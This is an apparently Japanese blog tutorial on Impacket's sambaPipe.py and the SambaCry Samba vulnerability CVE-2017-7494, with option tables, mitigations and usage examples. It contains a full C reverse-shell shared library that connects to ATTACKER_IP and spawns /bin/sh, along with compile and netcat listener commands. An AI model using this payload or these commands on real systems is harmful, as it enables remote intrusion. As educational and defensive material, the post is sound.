Impacket sambaPipe.py 徹底解説:CVE-2017-7494 を利用したリモートコード実行

セキュリティツール

Impacketは、ネットワークプロトコルを扱うためのPythonクラスの強力なコレクションです。特に、Windows/Active Directory環境におけるセキュリティ評価やペネトレーションテストで広く利用されています。Impacketに含まれる数多くのスクリプトの中でも、sambaPipe.py は特定の脆弱性を悪用するために設計されたツールです。

このブログ記事では、sambaPipe.py の機能、使用方法、そしてそれが悪用する脆弱性について詳しく解説します。ツールの使い方を理解することは、防御策を講じる上でも非常に重要です。💪

sambaPipe.py とは? 🤔

sambaPipe.py は、Impacketツールスイートの一部であり、CVE-2017-7494 として知られる脆弱性を悪用するために特別に開発されたスクリプトです。この脆弱性は、Sambaの特定バージョン(3.5.0以降)に存在し、リモートからのコード実行を可能にするものです。

具体的には、sambaPipe.py は、攻撃者が指定した共有ライブラリ(.so ファイル)を脆弱なSambaサーバー上の書き込み可能な共有にアップロードし、それをロードさせて実行させることができます。これにより、ターゲットシステム上で任意のコードが実行される可能性があります。

この脆弱性は、パイプ名にパス名が含まれている場合に、クライアントが共有ライブラリをサーバーにアップロードし、それをロードさせることが可能になるという問題に起因します。Sambaはこの脆弱性に対処するために、バージョン 4.6.4, 4.5.10, 4.4.14 でパッチをリリースしました。

CVE-2017-7494 (SambaCry) について

CVE-2017-7494は、2017年に発見されたSambaの脆弱性で、通称「SambaCry」とも呼ばれます。(WannaCryランサムウェアが猛威を振るった時期と近いため、このように呼ばれることがあります。)

この脆弱性の影響を受けるSambaのバージョンは以下の通りです:

  • Samba 3.5.0 以降の全てのバージョン

脆弱性の主な原因は、is_known_pipename() 関数の処理不備にあります。この関数はパイプ名が安全かどうかをチェックしますが、パイプ名にスラッシュ (/) が含まれている場合、そのチェックを迂回できてしまいます。結果として、リモートの攻撃者は書き込み可能な共有を通じて共有ライブラリ(.soファイル)をアップロードし、Sambaサーバープロセスにそのライブラリをロードさせ、任意のコードを実行することが可能になります。

この攻撃が成功するためには、以下の条件が必要です:

  • ターゲットのSambaサーバーが脆弱なバージョンであること。
  • 攻撃者がターゲットサーバー上の書き込み可能な共有を知っていること。(sambaPipe.py はNetrShareEnum() APIを使用して書き込み可能な共有を自動で見つけようとします)
  • Sambaの設定で nt pipe support = yes (デフォルト) が有効になっていること。

この脆弱性は広く注意喚起され、多くのシステム管理者が迅速にパッチを適用しました。しかし、パッチが適用されていないシステムは依然としてリスクにさらされています。

sambaPipe.py の使い方

sambaPipe.py を使用するには、Impacketがインストールされている環境が必要です。Kali Linuxなどのペネトレーションテスト用ディストリビューションには、通常プリインストールされています。

基本的なコマンド構文


impacket-sambaPipe [-h] -so SO [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] target
      

または、Pythonスクリプトとして直接実行する場合:


python sambaPipe.py -so <共有ライブラリへのパス> [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはIPアドレス>
      

主要なオプション解説

オプション 説明
target ターゲットの指定。形式は [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名 or IPアドレス> です。認証情報を省略すると匿名認証を試みます。
-so <ファイル名> (必須) アップロードして実行する共有ライブラリ(.soファイル)のパスを指定します。攻撃コードを含む悪意のあるライブラリを指定します。
-hashes LMHASH:NTHASH パスワードの代わりにNTLMハッシュ(LMハッシュ:NTハッシュ)を使用して認証します。
-no-pass パスワードの入力を求めません。-k(Kerberos認証)や匿名認証と組み合わせて使用します。
-k Kerberos認証を使用します。有効なKerberosチケット(TGT)がccacheファイルに存在する必要があります。-aesKey と併用することも可能です。
-aesKey <16進キー> Kerberos認証で使用するAESキー(128ビットまたは256ビット)を指定します。
-dc-ip <IPアドレス> ドメインコントローラーのIPアドレスを指定します。Kerberos認証(-k)時にKDCとして使用されます。省略した場合、target のドメイン部分から解決しようとします。
-target-ip <IPアドレス> ターゲットマシンのIPアドレスを明示的に指定します。ターゲット名がNetBIOS名で、名前解決できない場合に便利です。
-port <ポート番号> ターゲットのSMBサーバーに接続する際のポート番号を指定します。デフォルトは445です。
-debug デバッグ情報を詳細に出力します。問題発生時のトラブルシューティングに役立ちます。

実行例

⚠️ 注意: 以下のコマンド例は、教育およびセキュリティ評価目的でのみ示されています。許可なく他者のシステムに対してこれらのツールを使用することは、法律で禁止されており、重大な結果を招く可能性があります。必ず、自身が管理する環境または明確な許可を得た環境でのみテストを実施してください。

例1: パスワード認証で実行

ユーザー `testuser`、パスワード `password123` を使用し、ターゲット `192.168.1.100` に対して、カレントディレクトリの `payload.so` を実行します。


impacket-sambaPipe -so payload.so testuser:password123@192.168.1.100
      

ドメインユーザーの場合は、`DOMAIN/testuser` のように指定します。


impacket-sambaPipe -so payload.so MYDOMAIN/testuser:password123@192.168.1.100
      

例2: NTLMハッシュ認証で実行

ユーザー `admin` のNTLMハッシュを使用して、ターゲット `targetserver.local` に対して `evil.so` を実行します。


# LMハッシュは通常空なので、先頭にコロンをつけます
impacket-sambaPipe -so evil.so -hashes :aad3b435b51404eeaad3b435b51404ee admin@targetserver.local
      

例3: 匿名認証で実行

ターゲット `10.0.0.5` に対して、匿名認証を試みて `exploit.so` を実行します。(ターゲットが匿名アクセスを許可し、書き込み可能な共有がある場合に成功する可能性があります)


impacket-sambaPipe -so exploit.so 10.0.0.5
      

例4: Kerberos認証で実行 (ccacheファイル使用)

事前に `getTGT.py` などで取得したKerberos TGT (チケット保証チケット) が環境変数 `KRB5CCNAME` で指定されたccacheファイルに保存されている場合、-k オプションを使用します。


export KRB5CCNAME=/tmp/user.ccache
impacket-sambaPipe -so payload.so -k -dc-ip kdc.mydomain.local mydomain/user@targetserver.local
      

sambaPipe.py は、まずターゲットに接続し、NetrShareEnum() を呼び出して共有リストを取得します。次に、書き込み可能な共有を見つけようとします。適切な共有が見つかると、指定された .so ファイルをその共有にアップロードします。最後に、特殊な細工を施したパイプ名(アップロードした共有ライブラリへのパスを含む)を使用してパイプを開こうとします。ターゲットのSambaサーバーが脆弱であれば、この操作によりアップロードされたライブラリがロードされ、実行されます。

悪用される共有ライブラリ (.so) について

sambaPipe.py-so オプションに指定する共有ライブラリは、攻撃者がターゲットシステム上で実行したいコードを含んでいます。これは通常、以下のような機能を持つように作成されます:

  • リバースシェル: 攻撃者のマシンに接続し、コマンド実行を可能にするシェルを確立します。
  • コマンド実行: 特定のコマンド(例: ユーザー追加、設定変更など)を実行します。
  • ペイロードのダウンロードと実行: より高度なマルウェアやツールをインターネットからダウンロードして実行します。

このような悪意のある共有ライブラリを作成するには、C言語などを用いたプログラミング知識と、ターゲットとなるOS(通常はLinux)の環境に関する理解が必要です。Metasploit Frameworkなどのツールには、このようなペイロードを生成する機能が含まれている場合もあります。

例えば、リバースシェルを開く簡単な共有ライブラリのCコードの例(概念)は以下のようになります(注意: これは動作を保証するものではなく、あくまで概念を示す例です)。


#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

// コンストラクタ属性を使ってライブラリロード時に実行される関数
__attribute__((constructor))
void run_payload() {
    int sockfd;
    struct sockaddr_in server_addr;
    char *args[] = {"/bin/sh", NULL};

    // 攻撃者のIPアドレスとポート
    char *attacker_ip = "ATTACKER_IP"; // ここを攻撃者のIPに置き換える
    int attacker_port = 4444;         // ここを攻撃者のリスニングポートに置き換える

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        return;
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(attacker_port);
    server_addr.sin_addr.s_addr = inet_addr(attacker_ip); // inet_addrは非推奨だが例として

    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        close(sockfd);
        return;
    }

    // 標準入力、標準出力、標準エラー出力をソケットにリダイレクト
    dup2(sockfd, 0); // stdin
    dup2(sockfd, 1); // stdout
    dup2(sockfd, 2); // stderr

    // シェルを起動
    execve("/bin/sh", args, NULL);

    close(sockfd);
}
      

このコードをコンパイルして共有ライブラリ(例: `payload.so`)を作成し、sambaPipe.py で使用します。


# コンパイル例 (環境によってフラグは調整が必要)
gcc -shared -o payload.so -fPIC payload.c

# 攻撃者側でリスナーを起動
nc -lvp 4444

# sambaPipe.py で実行
impacket-sambaPipe -so payload.so user@target_ip
      

ターゲットのSambaが脆弱であれば、ライブラリがロードされ、run_payload関数が実行され、攻撃者のリスナーにシェルが接続されます。

セキュリティ上の考慮事項と対策 🛡️

sambaPipe.py は、特定の脆弱性を悪用する強力なツールです。このようなツールが存在することを理解し、適切な対策を講じることが不可欠です。

  • Sambaのアップデート: 最も重要な対策は、Sambaを常に最新の安定バージョンにアップデートすることです。CVE-2017-7494のパッチが適用されたバージョン (4.6.4, 4.5.10, 4.4.14 以降) を使用してください。
  • nt pipe support = no の設定: 名前付きパイプのサポートが不要な場合は、Sambaの設定ファイル (smb.conf) で nt pipe support = no を設定することを検討してください。ただし、これにより一部のWindowsクライアント機能やアプリケーションが動作しなくなる可能性があるため、影響を十分に評価する必要があります。
  • 書き込み可能な共有の制限: 不必要に匿名アクセスや広範なユーザーに対して書き込み権限を持つ共有を公開しないようにします。アクセス権限を最小限に設定し、厳格に管理します。
  • ファイアウォール: ネットワーク境界および内部ネットワークにおいて、不要なSMB/CIFS (TCP 139, 445) トラフィックをファイアウォールで制限します。信頼できないネットワークからのアクセスをブロックします。
  • 侵入検知・防御システム (IDS/IPS): 既知の脆弱性を悪用しようとする通信パターン(sambaPipe.py のようなツールの特徴的な動作を含む)を検知・ブロックできるIDS/IPSソリューションを導入します。
  • ログ監視: Sambaサーバーのログやネットワークトラフィックログを監視し、不審なファイルアップロード、異常なパイプ接続試行などを検知する体制を整えます。
  • セキュリティ意識向上: システム管理者やユーザーに対して、脆弱性管理の重要性や不審なアクティビティの報告についての教育を行います。

まとめ ✨

impacket-sambaPipe (sambaPipe.py) は、Sambaの脆弱性 CVE-2017-7494 を悪用してリモートコード実行を試みるためのImpacketスクリプトです。このツールは、脆弱なSambaサーバーに対して指定された共有ライブラリをアップロードし、実行させることができます。

このツールの仕組みと、それが悪用する脆弱性を理解することは、システム管理者やセキュリティ担当者にとって非常に重要です。適切なパッチ適用、設定の見直し、アクセス制御、監視体制の構築により、このような攻撃からシステムを保護することができます。

Impacketはペネトレーションテストやセキュリティ研究において非常に有用なツール群ですが、その能力は悪用されるリスクも伴います。常に倫理的な利用を心がけ、適切な権限の下でのみ使用するようにしましょう。🔒

コメント

タイトルとURLをコピーしました